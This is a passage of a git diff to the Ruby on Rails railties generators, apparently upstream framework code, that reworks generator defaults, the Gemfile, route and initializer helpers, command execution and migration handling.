-        stylesheet_engine: "-se",
-        scaffold_stylesheet: "-ss",
         template_engine: "-e",
         test_framework: "-t"
       },
@@ -53,22 +50,22 @@ module Generators
         force_plural: false,
         helper: true,
         integration_tool: nil,
-        javascripts: true,
-        javascript_engine: :js,
         orm: false,
         resource_controller: :controller,
         resource_route: true,
         scaffold_controller: :scaffold_controller,
-        stylesheets: true,
-        stylesheet_engine: :css,
-        scaffold_stylesheet: true,
-        test_framework: false,
+        system_tests: nil,
+        test_framework: nil,
         template_engine: :erb
       }
     }
 
+    # We need to store the RAILS_DEV_PATH in a constant, otherwise the path
+    # can change when we FileUtils.cd.
+    RAILS_DEV_PATH = File.expand_path("../../..", __dir__) # :nodoc:
+
     class << self
-      def configure!(config) #:nodoc:
+      def configure!(config) # :nodoc:
         api_only! if config.api_only
         no_color! unless config.colorize_logging
         aliases.deep_merge! config.aliases
@@ -77,29 +74,34 @@ def configure!(config) #:nodoc:
         templates_path.concat config.templates
         templates_path.uniq!
         hide_namespaces(*config.hidden_namespaces)
+        after_generate_callbacks.replace config.after_generate_callbacks
       end
 
-      def templates_path #:nodoc:
+      def templates_path # :nodoc:
         @templates_path ||= []
       end
 
-      def aliases #:nodoc:
+      def aliases # :nodoc:
         @aliases ||= DEFAULT_ALIASES.dup
       end
 
-      def options #:nodoc:
+      def options # :nodoc:
         @options ||= DEFAULT_OPTIONS.dup
       end
 
+      def after_generate_callbacks # :nodoc:
+        @after_generate_callbacks ||= []
+      end
+
       # Hold configured generators fallbacks. If a plugin developer wants a
-      # generator group to fallback to another group in case of missing generators,
+      # generator group to fall back to another group in case of missing generators,
       # they can add a fallback.
       #
-      # For example, shoulda is considered a test_framework and is an extension
-      # of test_unit. However, most part of shoulda generators are similar to
-      # test_unit ones.
+      # For example, shoulda is considered a +test_framework+ and is an extension
+      # of +test_unit+. However, most part of shoulda generators are similar to
+      # +test_unit+ ones.
       #
-      # Shoulda then can tell generators to search for test_unit generators when
+      # Shoulda then can tell generators to search for +test_unit+ generators when
       # some of them are not available by adding a fallback:
       #
       #   Rails::Generators.fallbacks[:shoulda] = :test_unit
@@ -121,27 +123,19 @@ def api_only!
           template_engine: nil
         )
 
-        if ARGV.first == "mailer"
-          options[:rails].merge!(template_engine: :erb)
-        end
-      end
-
-      # Remove the color from output.
-      def no_color!
-        Thor::Base.shell = Thor::Shell::Basic
+        options[:mailer] ||= {}
+        options[:mailer][:template_engine] ||= :erb
       end
 
       # Returns an array of generator namespaces that are hidden.
       # Generator namespaces may be hidden for a variety of reasons.
       # Some are aliased such as "rails:migration" and can be
-      # invoked with the shorter "migration", others are private to other generators
-      # such as "css:scaffold".
+      # invoked with the shorter "migration".
       def hidden_namespaces
         @hidden_namespaces ||= begin
           orm      = options[:rails][:orm]
           test     = options[:rails][:test_framework]
           template = options[:rails][:template_engine]
-          css      = options[:rails][:stylesheet_engine]
 
           [
             "rails",
@@ -151,6 +145,7 @@ def hidden_namespaces
             "#{test}:controller",
             "#{test}:helper",
             "#{test}:integration",
+            "#{test}:system",
             "#{test}:mailer",
             "#{test}:model",
             "#{test}:scaffold",
@@ -159,11 +154,12 @@ def hidden_namespaces
             "#{template}:controller",
             "#{template}:scaffold",
             "#{template}:mailer",
-            "#{css}:scaffold",
-            "#{css}:assets",
-            "css:assets",
-            "css:scaffold"
-          ]
+            "action_text:install",
+            "action_mailbox:install",
+            "devcontainer"
+          ].tap do |h|
+            h << "test_unit" if test.to_s != "test_unit"
+          end
         end
       end
 
@@ -174,7 +170,8 @@ def hide_namespaces(*namespaces)
 
       # Show help message with available generators.
       def help(command = "generate")
-        puts "Usage: rails #{command} GENERATOR [args] [options]"
+        puts "Usage:"
+        puts "  bin/rails #{command} GENERATOR [args] [options]"
         puts
         puts "General options:"
         puts "  -h, [--help]     # Print generator's options and usage"
@@ -209,9 +206,14 @@ def sorted_groups
         end
 
         rails = groups.delete("rails")
-        rails.map! { |n| n.sub(/^rails:/, "") }
+        rails.map! { |n| n.delete_prefix("rails:") }
         rails.delete("app")
         rails.delete("plugin")
+        rails.delete("encrypted_file")
+        rails.delete("encryption_key_file")
+        rails.delete("master_key")
+        rails.delete("credentials")
+        rails.delete("db:system:change")
 
         hidden_namespaces.each { |n| groups.delete(n.to_s) }
 
@@ -231,7 +233,7 @@ def sorted_groups
       #
       # Notice that "rails:generators:webrat" could be loaded as well, what
       # Rails looks for is the first and last parts of the namespace.
-      def find_by_namespace(name, base = nil, context = nil) #:nodoc:
+      def find_by_namespace(name, base = nil, context = nil) # :nodoc:
         lookups = []
         lookups << "#{base}:#{name}"    if base
         lookups << "#{name}:#{context}" if context
@@ -246,9 +248,8 @@ def find_by_namespace(name, base = nil, context = nil) #:nodoc:
 
         lookup(lookups)
 
-        namespaces = Hash[subclasses.map { |klass| [klass.namespace, klass] }]
+        namespaces = subclasses.index_by(&:namespace)
         lookups.each do |namespace|
-
           klass = namespaces[namespace]
           return klass if klass
         end
@@ -256,26 +257,33 @@ def find_by_namespace(name, base = nil, context = nil) #:nodoc:
         invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)
       end
 
-      # Receives a namespace, arguments and the behavior to invoke the generator.
-      # It's used as the default entry point for generate, destroy and update
+      # Receives a namespace, arguments, and the behavior to invoke the generator.
+      # It's used as the default entry point for generate, destroy, and update
       # commands.
       def invoke(namespace, args = ARGV, config = {})
         names = namespace.to_s.split(":")
         if klass = find_by_namespace(names.pop, names.any? && names.join(":"))
           args << "--help" if args.empty? && klass.arguments.any?(&:required?)
           klass.start(args, config)
+          run_after_generate_callback if config[:behavior] == :invoke
         else
-          options     = sorted_groups.flat_map(&:last)
-          suggestions = options.sort_by { |suggested| levenshtein_distance(namespace.to_s, suggested) }.first(3)
-          msg =  "Could not find generator '#{namespace}'. "
-          msg << "Maybe you meant #{ suggestions.map { |s| "'#{s}'" }.to_sentence(last_word_connector: " or ", locale: :en) }\n"
-          msg << "Run `rails generate --help` for more options."
-          puts msg
+          options = sorted_groups.flat_map(&:last)
+          error = Command::CorrectableNameError.new("Could not find generator '#{namespace}'.", namespace, options)
+
+          puts <<~MSG
+            #{error.detailed_message}
+            Run `bin/rails generate --help` for more options.
+          MSG
+          exit 1
         end
       end
 
-      private
+      def add_generated_file(file) # :nodoc:
+        (@@generated_files ||= []) << file
+        file
+      end
 
+      private
         def print_list(base, namespaces) # :doc:
           namespaces = namespaces.reject { |n| hidden_namespaces.include?(n) }
           super
@@ -308,6 +316,15 @@ def lookup_paths # :doc:
         def file_lookup_paths # :doc:
           @file_lookup_paths ||= [ "{#{lookup_paths.join(',')}}", "**", "*_generator.rb" ]
         end
+
+        def run_after_generate_callback
+          if defined?(@@generated_files) && !@@generated_files.empty?
+            after_generate_callbacks.each do |callback|
+              callback.call(@@generated_files)
+            end
+            @@generated_files = []
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index 0bd0615b7eb04..d08db155ec8f0 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -1,41 +1,105 @@
+# frozen_string_literal: true
+
+require "shellwords"
+require "active_support/core_ext/kernel/reporting"
+require "active_support/core_ext/string/strip"
+
 module Rails
   module Generators
     module Actions
       def initialize(*) # :nodoc:
         super
-        @in_group = nil
-        @after_bundle_callbacks = []
+        @indentation = 0
       end
 
-      # Adds an entry into +Gemfile+ for the supplied gem.
+      # Adds a +gem+ declaration to the +Gemfile+ for the specified gem.
       #
       #   gem "rspec", group: :test
       #   gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
-      #   gem "rails", "3.0", git: "git://github.com/rails/rails"
+      #   gem "rails", "3.0", git: "https://github.com/rails/rails"
+      #   gem "RedCloth", ">= 4.1.0", "< 4.2.0"
+      #   gem "rspec", comment: "Put this comment above the gem declaration"
+      #
+      # Note that this method only adds the gem to the +Gemfile+; it does not
+      # install the gem.
+      #
+      # ==== Options
+      #
+      # [+:version+]
+      #   The version constraints for the gem, specified as a string or an
+      #   array of strings:
+      #
+      #     gem "my_gem", version: "~> 1.1"
+      #     gem "my_gem", version: [">= 1.1", "< 2.0"]
+      #
+      #   Alternatively, can be specified as one or more arguments following the
+      #   gem name:
+      #
+      #     gem "my_gem", ">= 1.1", "< 2.0"
+      #
+      # [+:comment+]
+      #   Outputs a comment above the +gem+ declaration in the +Gemfile+.
+      #
+      #     gem "my_gem", comment: "First line.\nSecond line."
+      #
+      #   Outputs:
+      #
+      #     # First line.
+      #     # Second line.
+      #     gem "my_gem"
+      #
+      # [+:group+]
+      #   The gem group in the +Gemfile+ that the gem belongs to.
+      #
+      # [+:git+]
+      #   The URL of the git repository for the gem.
+      #
+      # Any additional options passed to this method will be appended to the
+      # +gem+ declaration in the +Gemfile+. For example:
+      #
+      #   gem "my_gem", comment: "Edge my_gem", git: "https://example.com/my_gem.git", branch: "master"
+      #
+      # Outputs:
+      #
+      #   # Edge my_gem
+      #   gem "my_gem", git: "https://example.com/my_gem.git", branch: "master"
+      #
       def gem(*args)
         options = args.extract_options!
-        name, version = args
+        name, *versions = args
 
         # Set the message to be shown in logs. Uses the git repo if one is given,
         # otherwise use name (version).
         parts, message = [ quote(name) ], name.dup
-        if version ||= options.delete(:version)
-          parts   << quote(version)
-          message << " (#{version})"
+
+        # Output a comment above the gem declaration.
+        comment = options.delete(:comment)
+
+        if versions = versions.any? ? versions : options.delete(:version)
+          _versions = Array(versions)
+          _versions.each do |version|
+            parts << quote(version)
+          end
+          message << " (#{_versions.join(", ")})"
         end
         message = options[:git] if options[:git]
 
         log :gemfile, message
 
-        options.each do |option, value|
-          parts << "#{option}: #{quote(value)}"
-        end
+        parts << quote(options) unless options.empty?
 
         in_root do
-          str = "gem #{parts.join(", ")}"
-          str = "  " + str if @in_group
-          str = "\n" + str
-          append_file "Gemfile", str, verbose: false
+          str = []
+          if comment
+            comment.each_line do |comment_line|
+              str << indentation
+              str << "# #{comment_line}"
+            end
+            str << "\n"
+          end
+          str << indentation
+          str << "gem #{parts.join(", ")}"
+          append_file_with_newline "Gemfile", str.join, verbose: false
         end
       end
 
@@ -45,17 +109,33 @@ def gem(*args)
       #     gem "rspec-rails"
       #   end
       def gem_group(*names, &block)
-        name = names.map(&:inspect).join(", ")
-        log :gemfile, "group #{name}"
+        options = names.extract_options!
+        str = names.map(&:inspect)
+        str << quote(options) unless options.empty?
+        str = str.join(", ")
+        log :gemfile, "group #{str}"
 
         in_root do
-          append_file "Gemfile", "\ngroup #{name} do", force: true
+          append_file_with_newline "Gemfile", "\ngroup #{str} do", force: true
+          with_indentation(&block)
+          append_file_with_newline "Gemfile", "end", force: true
+        end
+      end
 
-          @in_group = true
-          instance_eval(&block)
-          @in_group = false
+      def github(repo, options = {}, &block)
+        str = [quote(repo)]
+        str << quote(options) unless options.empty?
+        str = str.join(", ")
+        log :github, "github #{str}"
 
-          append_file "Gemfile", "\nend\n", force: true
+        in_root do
+          if @indentation.zero?
+            append_file_with_newline "Gemfile", "\ngithub #{str} do", force: true
+          else
+            append_file_with_newline "Gemfile", "#{indentation}github #{str} do", force: true
+          end
+          with_indentation(&block)
+          append_file_with_newline "Gemfile", "#{indentation}end", force: true
         end
       end
 
@@ -73,51 +153,87 @@ def add_source(source, options = {}, &block)
 
         in_root do
           if block
-            append_file "Gemfile", "\nsource #{quote(source)} do", force: true
-            @in_group = true
-            instance_eval(&block)
-            @in_group = false
-            append_file "Gemfile", "\nend\n", force: true
+            append_file_with_newline "Gemfile", "\nsource #{quote(source)} do", force: true
+            with_indentation(&block)
+            append_file_with_newline "Gemfile", "end", force: true
           else
             prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false
           end
         end
       end
 
-      # Adds a line inside the Application class for <tt>config/application.rb</tt>.
+      # Adds configuration code to a \Rails runtime environment.
+      #
+      # By default, adds code inside the +Application+ class in
+      # +config/application.rb+ so that it applies to all environments.
+      #
+      #   environment %(config.asset_host = "cdn.provider.com")
+      #
+      # Results in:
+      #
+      #   # config/application.rb
+      #   class Application < Rails::Application
+      #     config.asset_host = "cdn.provider.com"
+      #     # ...
+      #   end
+      #
+      # If the +:env+ option is specified, the code will be added to the
+      # corresponding file in +config/environments+ instead.
+      #
+      #   environment %(config.asset_host = "localhost:3000"), env: "development"
+      #
+      # Results in:
       #
-      # If options <tt>:env</tt> is specified, the line is appended to the corresponding
-      # file in <tt>config/environments</tt>.
+      #   # config/environments/development.rb
+      #   Rails.application.configure do
+      #     config.asset_host = "localhost:3000"
+      #     # ...
+      #   end
+      #
+      # +:env+ can also be an array. In which case, the code is added to each
+      # corresponding file in +config/environments+.
+      #
+      # The code can also be specified as the return value of the block:
       #
       #   environment do
-      #     "config.action_controller.asset_host = 'cdn.provider.com'"
+      #     %(config.asset_host = "cdn.provider.com")
       #   end
       #
       #   environment(nil, env: "development") do
-      #     "config.action_controller.asset_host = 'localhost:3000'"
+      #     %(config.asset_host = "localhost:3000")
       #   end
+      #
       def environment(data = nil, options = {})
-        sentinel = /class [a-z_:]+ < Rails::Application/i
-        env_file_sentinel = /Rails\.application\.configure do/
-        data = yield if !data && block_given?
+        sentinel = "class Application < Rails::Application\n"
+        env_file_sentinel = "Rails.application.configure do\n"
+        data ||= yield if block_given?
 
         in_root do
           if options[:env].nil?
-            inject_into_file "config/application.rb", "\n    #{data}", after: sentinel, verbose: false
+            inject_into_file "config/application.rb", optimize_indentation(data, 4), after: sentinel, verbose: false
           else
             Array(options[:env]).each do |env|
-              inject_into_file "config/environments/#{env}.rb", "\n  #{data}", after: env_file_sentinel, verbose: false
+              inject_into_file "config/environments/#{env}.rb", optimize_indentation(data, 2), after: env_file_sentinel, verbose: false
             end
           end
         end
       end
       alias :application :environment
 
-      # Run a command in git.
+      # Runs one or more git commands.
       #
       #   git :init
+      #   # => runs `git init`
+      #
       #   git add: "this.file that.rb"
-      #   git add: "onefile.rb", rm: "badfile.cxx"
+      #   # => runs `git add this.file that.rb`
+      #
+      #   git commit: "-m 'First commit'"
+      #   # => runs `git commit -m 'First commit'`
+      #
+      #   git add: "good.rb", rm: "bad.cxx"
+      #   # => runs `git add good.rb; git rm bad.cxx`
+      #
       def git(commands = {})
         if commands.is_a?(Symbol)
           run "git #{commands}"
@@ -128,118 +244,195 @@ def git(commands = {})
         end
       end
 
-      # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
-      # in a block or a data string can be given.
+      # Creates a file in +vendor/+. The contents can be specified as an
+      # argument or as the return value of the block.
+      #
+      #   vendor "foreign.rb", <<~RUBY
+      #     # Foreign code is fun
+      #   RUBY
       #
-      #   vendor("sekrit.rb") do
-      #     sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
-      #     "salt = '#{sekrit_salt}'"
+      #   vendor "foreign.rb" do
+      #     "# Foreign code is fun"
       #   end
       #
-      #   vendor("foreign.rb", "# Foreign code is fun")
-      def vendor(filename, data = nil, &block)
+      def vendor(filename, data = nil)
         log :vendor, filename
-        create_file("vendor/#{filename}", data, verbose: false, &block)
+        data ||= yield if block_given?
+        create_file("vendor/#{filename}", optimize_indentation(data), verbose: false)
       end
 
-      # Create a new file in the lib/ directory. Code can be specified
-      # in a block or a data string can be given.
+      # Creates a file in +lib/+. The contents can be specified as an argument
+      # or as the return value of the block.
+      #
+      #   lib "foreign.rb", <<~RUBY
+      #     # Foreign code is fun
+      #   RUBY
       #
-      #   lib("crypto.rb") do
-      #     "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
+      #   lib "foreign.rb" do
+      #     "# Foreign code is fun"
       #   end
       #
-      #   lib("foreign.rb", "# Foreign code is fun")
-      def lib(filename, data = nil, &block)
+      def lib(filename, data = nil)
         log :lib, filename
-        create_file("lib/#{filename}", data, verbose: false, &block)
+        data ||= yield if block_given?
+        create_file("lib/#{filename}", optimize_indentation(data), verbose: false)
       end
 
-      # Create a new +Rakefile+ with the provided code (either in a block or a string).
+      # Creates a Rake tasks file in +lib/tasks/+. The code can be specified as
+      # an argument or as the return value of the block.
       #
-      #   rakefile("bootstrap.rake") do
+      #   rakefile "bootstrap.rake", <<~RUBY
+      #     task :bootstrap do
+      #       puts "Boots! Boots! Boots!"
+      #     end
+      #   RUBY
+      #
+      #   rakefile "bootstrap.rake" do
       #     project = ask("What is the UNIX name of your project?")
       #
-      #     <<-TASK
+      #     <<~RUBY
       #       namespace :#{project} do
       #         task :bootstrap do
-      #           puts "I like boots!"
+      #           puts "Boots! Boots! Boots!"
       #         end
       #       end
-      #     TASK
+      #     RUBY
       #   end
       #
-      #   rakefile('seed.rake', 'puts "Planting seeds"')
-      def rakefile(filename, data = nil, &block)
+      def rakefile(filename, data = nil)
         log :rakefile, filename
-        create_file("lib/tasks/#{filename}", data, verbose: false, &block)
+        data ||= yield if block_given?
+        create_file("lib/tasks/#{filename}", optimize_indentation(data), verbose: false)
       end
 
-      # Create a new initializer with the provided code (either in a block or a string).
+      # Creates an initializer file in +config/initializers/+. The code can be
+      # specified as an argument or as the return value of the block.
       #
-      #   initializer("globals.rb") do
-      #     data = ""
+      #   initializer "api.rb", <<~RUBY
+      #     API_KEY = "123456"
+      #   RUBY
       #
-      #     ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do |const|
-      #       data << "#{const} = :entp\n"
-      #     end
-      #
-      #     data
+      #   initializer "api.rb" do
+      #     %(API_KEY = "123456")
       #   end
       #
-      #   initializer("api.rb", "API_KEY = '123456'")
-      def initializer(filename, data = nil, &block)
+      def initializer(filename, data = nil)
         log :initializer, filename
-        create_file("config/initializers/#{filename}", data, verbose: false, &block)
+        data ||= yield if block_given?
+        create_file("config/initializers/#{filename}", optimize_indentation(data), verbose: false)
       end
 
-      # Generate something using a generator from Rails or a plugin.
-      # The second parameter is the argument string that is passed to
-      # the generator or an Array that is joined.
+      # Runs another generator.
+      #
+      #   generate "scaffold", "Post title:string body:text"
+      #   generate "scaffold", "Post", "title:string", "body:text"
       #
-      #   generate(:authenticated, "user session")
+      # The first argument is the generator name, and the remaining arguments
+      # are joined together and passed to the generator.
       def generate(what, *args)
         log :generate, what
-        argument = args.flat_map(&:to_s).join(" ")
 
-        in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
+        options = args.extract_options!
+        options[:abort_on_failure] = !options[:inline]
+
+        rails_command "generate #{what} #{args.join(" ")}", options
       end
 
-      # Runs the supplied rake task (invoked with 'rake ...')
+      # Runs the specified Rake task.
+      #
+      #   rake "db:migrate"
+      #   rake "db:migrate", env: "production"
+      #   rake "db:migrate", abort_on_failure: true
+      #   rake "stats", capture: true
+      #   rake "gems:install", sudo: true
+      #
+      # ==== Options
+      #
+      # [+:env+]
+      #   The \Rails environment in which to run the task. Defaults to
+      #   <tt>ENV["RAILS_ENV"] || "development"</tt>.
       #
-      #   rake("db:migrate")
-      #   rake("db:migrate", env: "production")
-      #   rake("gems:install", sudo: true)
+      # [+:abort_on_failure+]
+      #   Whether to halt the generator if the task exits with a non-success
+      #   exit status.
+      #
+      # [+:capture+]
+      #   Whether to capture and return the output of the task.
+      #
+      # [+:sudo+]
+      #   Whether to run the task using +sudo+.
       def rake(command, options = {})
         execute_command :rake, command, options
       end
 
-      # Runs the supplied rake task (invoked with 'rails ...')
+      # Runs the specified \Rails command.
       #
-      #   rails("db:migrate")
-      #   rails("db:migrate", env: "production")
-      #   rails("gems:install", sudo: true)
-      def rails_command(command, options = {})
-        execute_command :rails, command, options
-      end
-
-      # Just run the capify command in root
+      #   rails_command "db:migrate"
+      #   rails_command "db:migrate", env: "production"
+      #   rails_command "db:migrate", abort_on_failure: true
+      #   rails_command "stats", capture: true
+      #   rails_command "gems:install", sudo: true
+      #
+      # ==== Options
       #
-      #   capify!
-      def capify!
-        log :capify, ""
-        in_root { run("#{extify(:capify)} .", verbose: false) }
+      # [+:env+]
+      #   The \Rails environment in which to run the command. Defaults to
+      #   <tt>ENV["RAILS_ENV"] || "development"</tt>.
+      #
+      # [+:abort_on_failure+]
+      #   Whether to halt the generator if the command exits with a non-success
+      #   exit status.
+      #
+      # [+:capture+]
+      #   Whether to capture and return the output of the command.
+      #
+      # [+:sudo+]
+      #   Whether to run the command using +sudo+.
+      def rails_command(command, options = {})
+        if options[:inline]
+          log :rails, command
+          command, *args = Shellwords.split(command)
+          in_root do
+            silence_warnings do
+              ::Rails::Command.invoke(command, args, **options)
+            end
+          end
+        else
+          execute_command :rails, command, options
+        end
       end
 
-      # Make an entry in Rails routing file <tt>config/routes.rb</tt>
+      # Make an entry in \Rails routing file <tt>config/routes.rb</tt>
       #
       #   route "root 'welcome#index'"
-      def route(routing_code)
+      #   route "root 'admin#index'", namespace: :admin
+      def route(routing_code, namespace: nil)
+        namespace = Array(namespace)
+        namespace_pattern = route_namespace_pattern(namespace)
+        routing_code = namespace.reverse.reduce(routing_code) do |code, name|
+          "namespace :#{name} do\n#{rebase_indentation(code, 2)}end"
+        end
+
         log :route, routing_code
-        sentinel = /\.routes\.draw do\s*\n/m
 
         in_root do
-          inject_into_file "config/routes.rb", "  #{routing_code}\n", after: sentinel, verbose: false, force: false
+          if namespace_match = match_file("config/routes.rb", namespace_pattern)
+            base_indent, *, existing_block_indent = namespace_match.captures.compact.map(&:length)
+            existing_line_pattern = /^[ ]{,#{existing_block_indent}}\S.+\n?/
+            routing_code = rebase_indentation(routing_code, base_indent + 2).gsub(existing_line_pattern, "")
+            namespace_pattern = /#{Regexp.escape namespace_match.to_s}/
+          end
+
+          inject_into_file "config/routes.rb", routing_code, after: namespace_pattern, verbose: false, force: false
+
+          if behavior == :revoke && namespace.any? && namespace_match
+            empty_block_pattern = /(#{namespace_pattern})((?:\s*end\n){1,#{namespace.size}})/
+            gsub_file "config/routes.rb", empty_block_pattern, verbose: false, force: true do |matched|
+              beginning, ending = empty_block_pattern.match(matched).captures
+              ending.sub!(/\A\s*end\n/, "") while !ending.empty? && beginning.sub!(/^[ ]*namespace .+ do\n\s*\z/, "")
+              beginning + ending
+            end
+          end
         end
       end
 
@@ -250,57 +443,87 @@ def readme(path)
         log File.read(find_in_source_paths(path))
       end
 
-      # Registers a callback to be executed after bundle and spring binstubs
-      # have run.
-      #
-      #   after_bundle do
-      #     git add: '.'
-      #   end
-      def after_bundle(&block)
-        @after_bundle_callbacks << block
-      end
-
       private
-
         # Define log for backwards compatibility. If just one argument is sent,
-        # invoke say, otherwise invoke say_status. Differently from say and
-        # similarly to say_status, this method respects the quiet? option given.
+        # invoke +say+, otherwise invoke +say_status+.
         def log(*args) # :doc:
           if args.size == 1
-            say args.first.to_s unless options.quiet?
+            say args.first.to_s
           else
             args << (behavior == :invoke ? :green : :red)
             say_status(*args)
           end
         end
 
-        # Runs the supplied command using either "rake ..." or "rails ..."
+        # Runs the supplied command using either +rake+ or +rails+
         # based on the executor parameter provided.
         def execute_command(executor, command, options = {}) # :doc:
           log executor, command
-          env  = options[:env] || ENV["RAILS_ENV"] || "development"
           sudo = options[:sudo] && !Gem.win_platform? ? "sudo " : ""
-          in_root { run("#{sudo}#{extify(executor)} #{command} RAILS_ENV=#{env}", verbose: false) }
+          config = {
+            env: { "RAILS_ENV" => (options[:env] || ENV["RAILS_ENV"] || "development") },
+            verbose: false,
+            capture: options[:capture],
+            abort_on_failure: options[:abort_on_failure],
+          }
+
+          in_root { run("#{sudo}#{Shellwords.escape Gem.ruby} bin/#{executor} #{command}", config) }
         end
 
-        # Add an extension to the given name based on the platform.
-        def extify(name) # :doc:
-          if Gem.win_platform?
-            "#{name}.bat"
-          else
-            name
+        # Always returns value in double quotes.
+        def quote(value) # :doc:
+          if value.respond_to? :each_pair
+            return value.map do |k, v|
+              "#{k}: #{quote(v)}"
+            end.join(", ")
           end
+          return value.inspect unless value.is_a? String
+
+          "\"#{value.tr("'", '"')}\""
         end
 
-        # Surround string with single quotes if there is no quotes.
-        # Otherwise fall back to double quotes
-        def quote(value) # :doc:
-          return value.inspect unless value.is_a? String
+        # Returns optimized string with indentation
+        def optimize_indentation(value, amount = 0) # :doc:
+          return "#{value}\n" unless value.is_a?(String)
+          "#{value.strip_heredoc.indent(amount).chomp}\n"
+        end
+        alias rebase_indentation optimize_indentation
 
-          if value.include?("'")
-            value.inspect
-          else
-            "'#{value}'"
+        # Returns a string corresponding to the current indentation level
+        # (i.e. 2 * <code>@indentation</code> spaces). See also
+        # #with_indentation, which can be used to manage the indentation level.
+        def indentation # :doc:
+          "  " * @indentation
+        end
+
+        # Increases the current indentation indentation level for the duration
+        # of the given block, and decreases it after the block ends. Call
+        # #indentation to get an indentation string.
+        def with_indentation(&block) # :doc:
+          @indentation += 1
+          instance_eval(&block)
+        ensure
+          @indentation -= 1
+        end
+
+        # Append string to a file with a newline if necessary
+        def append_file_with_newline(path, str, options = {})
+          gsub_file path, /\n?\z/, options do |match|
+            match.end_with?("\n") ? "" : "\n#{str}\n"
+          end
+        end
+
+        def match_file(path, pattern)
+          File.read(path).match(pattern) if File.exist?(path)
+        end
+
+        def route_namespace_pattern(namespace)
+          namespace.each_with_index.reverse_each.reduce(nil) do |pattern, (name, i)|
+            cumulative_margin = "\\#{i + 1}[ ]{2}"
+            blank_or_indented_line = "^[ ]*\n|^#{cumulative_margin}.*\n"
+            "(?:(?:#{blank_or_indented_line})*?^(#{cumulative_margin})namespace :#{name} do\n#{pattern})?"
+          end.then do |pattern|
+            /^([ ]*).+\.routes\.draw do[ ]*\n#{pattern}/
           end
         end
     end
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
index d06609e91e3b5..36b5a79c01901 100644
--- a/railties/lib/rails/generators/actions/create_migration.rb
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "fileutils"
 require "thor/actions"
 
 module Rails
   module Generators
     module Actions
-      class CreateMigration < Thor::Actions::CreateFile #:nodoc:
+      class CreateMigration < Thor::Actions::CreateFile # :nodoc:
         def migration_dir
           File.dirname(@destination)
         end
@@ -17,6 +19,13 @@ def identical?
           exists? && File.binread(existing_migration) == render
         end
 
+        def invoke!
+          return super if pretend?
+
+          invoked_file = super
+          File.exist?(@destination) ? invoked_file : relative_existing_migration
+        end
+
         def revoke!
           say_destination = exists? ? relative_existing_migration : relative_destination
           say_status :remove, :red, say_destination
@@ -30,15 +39,12 @@ def relative_existing_migration
         end
 
         def existing_migration
-          @existing_migration ||= begin
-            @base.class.migration_exists?(migration_dir, migration_file_name) ||
+          @existing_migration ||= @base.class.migration_exists?(migration_dir, migration_file_name) ||
             File.exist?(@destination) && @destination
-          end
         end
         alias :exists? :existing_migration
 
         private
-
           def on_conflict_behavior # :doc:
             options = base.options.merge(config)
             if identical?
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index 2679d06fe4707..9ae39fff898e1 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
-    # ActiveModel is a class to be implemented by each ORM to allow Rails to
+    # ActiveModel is a class to be implemented by each ORM to allow \Rails to
     # generate customized controller code.
     #
     # The API has the same methods as ActiveRecord, but each method returns a
@@ -30,21 +32,27 @@ def initialize(name)
         @name = name
       end
 
-      # GET index
+      # Used for:
+      #
+      # * GET +index+
       def self.all(klass)
         "#{klass}.all"
       end
 
-      # GET show
-      # GET edit
-      # PATCH/PUT update
-      # DELETE destroy
+      # Used for:
+      #
+      # * GET +show+
+      # * GET +edit+
+      # * PATCH / PUT +update+
+      # * DELETE +destroy+
       def self.find(klass, params = nil)
         "#{klass}.find(#{params})"
       end
 
-      # GET new
-      # POST create
+      # Used for:
+      #
+      # * GET +new+
+      # * POST +create+
       def self.build(klass, params = nil)
         if params
           "#{klass}.new(#{params})"
@@ -53,25 +61,33 @@ def self.build(klass, params = nil)
         end
       end
 
-      # POST create
+      # Used for:
+      #
+      # * POST +create+
       def save
         "#{name}.save"
       end
 
-      # PATCH/PUT update
+      # Used for:
+      #
+      # * PATCH / PUT +update+
       def update(params = nil)
         "#{name}.update(#{params})"
       end
 
-      # POST create
-      # PATCH/PUT update
+      # Used for:
+      #
+      # * POST +create+
+      # * PATCH / PUT +update+
       def errors
         "#{name}.errors"
       end
 
-      # DELETE destroy
+      # Used for:
+      #
+      # * DELETE +destroy+
       def destroy
-        "#{name}.destroy"
+        "#{name}.destroy!"
       end
     end
   end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index ea88afe9f43d7..c68a6524fafd9 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -1,18 +1,26 @@
+# frozen_string_literal: true
+
 require "fileutils"
 require "digest/md5"
-require "active_support/core_ext/string/strip"
 require "rails/version" unless defined?(Rails::VERSION)
 require "open-uri"
+require "tsort"
 require "uri"
 require "rails/generators"
+require "rails/generators/bundle_helper"
 require "active_support/core_ext/array/extract_options"
 
 module Rails
   module Generators
     class AppBase < Base # :nodoc:
-      DATABASES = %w( mysql postgresql sqlite3 oracle frontbase ibm_db sqlserver )
-      JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc )
-      DATABASES.concat(JDBC_DATABASES)
+      include AppName
+      include BundleHelper
+
+      NODE_LTS_VERSION = "22.21.1"
+      BUN_VERSION = "1.0.1"
+
+      JAVASCRIPT_OPTIONS = %w( importmap bun webpack esbuild rollup )
+      CSS_OPTIONS = %w( tailwind bootstrap bulma postcss sass )
 
       attr_accessor :rails_template
       add_shebang_option!
@@ -24,122 +32,137 @@ def self.strict_args_position
       end
 
